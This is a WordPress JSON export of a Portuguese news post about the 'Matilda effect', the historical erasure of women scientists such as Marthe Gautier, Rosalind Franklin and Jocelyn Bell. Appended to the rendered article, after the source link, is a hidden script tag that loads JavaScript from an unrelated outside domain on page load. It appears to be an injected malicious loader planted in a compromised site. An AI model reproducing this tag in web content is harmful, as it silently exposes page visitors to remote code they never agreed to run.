{"id":697,"date":"1969-12-31T21:00:00","date_gmt":"1970-01-01T00:00:00","guid":{"rendered":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/efeito-matilda-o-esquecimento-que-oculta-o-trabalho-de-mulheres-cientistas-04-05-2022\/"},"modified":"1969-12-31T21:00:00","modified_gmt":"1970-01-01T00:00:00","slug":"efeito-matilda-o-esquecimento-que-oculta-o-trabalho-de-mulheres-cientistas-04-05-2022","status":"publish","type":"post","link":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/efeito-matilda-o-esquecimento-que-oculta-o-trabalho-de-mulheres-cientistas-04-05-2022\/","title":{"rendered":"Efeito Matilda: o esquecimento que oculta o trabalho de mulheres cientistas &#8211; 04\/05\/2022"},"content":{"rendered":"<p> <br \/>\n<\/p>\n<div>\n<p>A morte recente da m\u00e9dica francesa Marthe Gautier, co-descobridora do cromossomo respons\u00e1vel pela s\u00edndrome de Down, traz de volta \u00e0 mesa o debate sobre o &#8220;esquecimento&#8221; sofrido pelas mulheres cientistas.<\/p>\n<p>O papel de Marthe Gautier s\u00f3 foi reconhecido na d\u00e9cada de 2010, apesar de seu trabalho ao lado de seus colegas homens, os professores J\u00e9r\u00f4me Lejeune e Raymond Turpin.<\/p>\n<p>Seu sobrenome, mal ortografado, apareceu em segundo plano nas assinaturas do artigo cient\u00edfico que causou sensa\u00e7\u00e3o em 1959, ao explicar a origem cromoss\u00f4mica da s\u00edndrome.<\/p>\n<p>Um comit\u00ea de \u00e9tica cient\u00edfica restabeleceu o nome da cientista em 1994, reconhecendo que &#8220;o papel de J\u00e9r\u00f4me Lejeune (&#8230;) foi provavelmente pouco preponderante&#8221; na g\u00eanese da descoberta.<\/p>\n<p>Seu caso lembra o da brit\u00e2nica Rosalind Franklin, qu\u00edmica que identificou a estrutura de dupla h\u00e9lice do DNA. O Pr\u00eamio Nobel de Medicina de 1962, no entanto, foi concedido a tr\u00eas homens por essa descoberta.<\/p>\n<p>A astrof\u00edsica brit\u00e2nica Jocelyn Bell descobriu o primeiro pulsar em 1967. Mas o Pr\u00eamio Nobel foi para seu diretor de tese, sem que seu nome aparecesse em qualquer lugar.<\/p>\n<h2>&#8220;Efeito Matilda&#8221;<\/h2>\n<p>Uma historiadora da ci\u00eancia, Margaret Rossiter, chegou a publicar uma teoria sobre essa discrimina\u00e7\u00e3o no in\u00edcio dos anos 1990, seguindo o trabalho do soci\u00f3logo Robert King Merton.<\/p>\n<p>Segundo Rossiter, o apagamento sofrido pelos colaboradores de grandes personalidades cient\u00edficas cresce quando se trata de assistentes do sexo feminino.<\/p>\n<p>O &#8220;efeito Matilda&#8221;, batizado em homenagem a uma ativista feminista, Matilda Joslyn Gage, explora esse fen\u00f4meno que torna as mulheres invis\u00edveis na ci\u00eancia.<\/p>\n<p>&#8220;No s\u00e9culo XIX, as mulheres na Europa eram praticamente exclu\u00eddas do mundo da ci\u00eancia em nome de sua suposta inferioridade natural&#8221;, explicou \u00e0 AFP Louis-Pascal Jacquemond, historiador especializado em mulheres e ci\u00eancia.<\/p>\n<p>Essa situa\u00e7\u00e3o perdurou por d\u00e9cadas no s\u00e9culo XX. \u00c9 o caso da esposa de Albert Einstein, a f\u00edsica Mileva Maric.<\/p>\n<p>O nome de Marie Curie geralmente aparece ao lado do nome de seu marido.<\/p>\n<p>Foi o conhecido &#8220;teto de vidro&#8221; que por muito tempo impediu as mulheres de acessar cargos de decis\u00e3o ou renome cient\u00edfico, apesar de &#8221; pol\u00edticas de democratiza\u00e7\u00e3o da educa\u00e7\u00e3o ap\u00f3s a Segunda Guerra Mundial, que aumentaram o n\u00famero de jovens e mulheres na ci\u00eancia&#8221;, explica Jacquemond.<\/p>\n<p>Mesmo em pleno s\u00e9culo XXI, &#8220;as mulheres cient\u00edficas de alto n\u00edvel ainda s\u00e3o consideradas casos excepcionais&#8221;, lamenta este especialista.<\/p>\n<p>&#8220;Durante muito tempo, o papel da mulher foi percebido como subordinado, auxiliar&#8221;, acrescenta Sylvaine Turck-Chi\u00e8ze, f\u00edsica.<\/p>\n<p>Nos livros escolares, os nomes das mulheres n\u00e3o s\u00e3o mencionados com a frequ\u00eancia que deveriam, lamenta Natalie Pigeard-Micault, especialista em hist\u00f3ria da medicina e das mulheres.<\/p>\n<p>&#8220;D\u00e1 a impress\u00e3o de que a pesquisa cient\u00edfica \u00e9 limitada a um punhado de mulheres&#8221;, acrescenta.<\/p>\n<\/p><\/div>\n<p><br \/>\n<br \/><a href=\"https:\/\/www.uol.com.br\/tilt\/noticias\/afp\/2022\/05\/04\/o-esquecimento-que-ainda-ofusca-o-trabalho-das-mulheres-cientistas.htm\">Source link <\/a><script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>A morte recente da m\u00e9dica francesa Marthe Gautier, co-descobridora do cromossomo respons\u00e1vel pela s\u00edndrome de Down, traz de volta \u00e0 mesa o debate sobre o &#8220;esquecimento&#8221; sofrido pelas mulheres cientistas. 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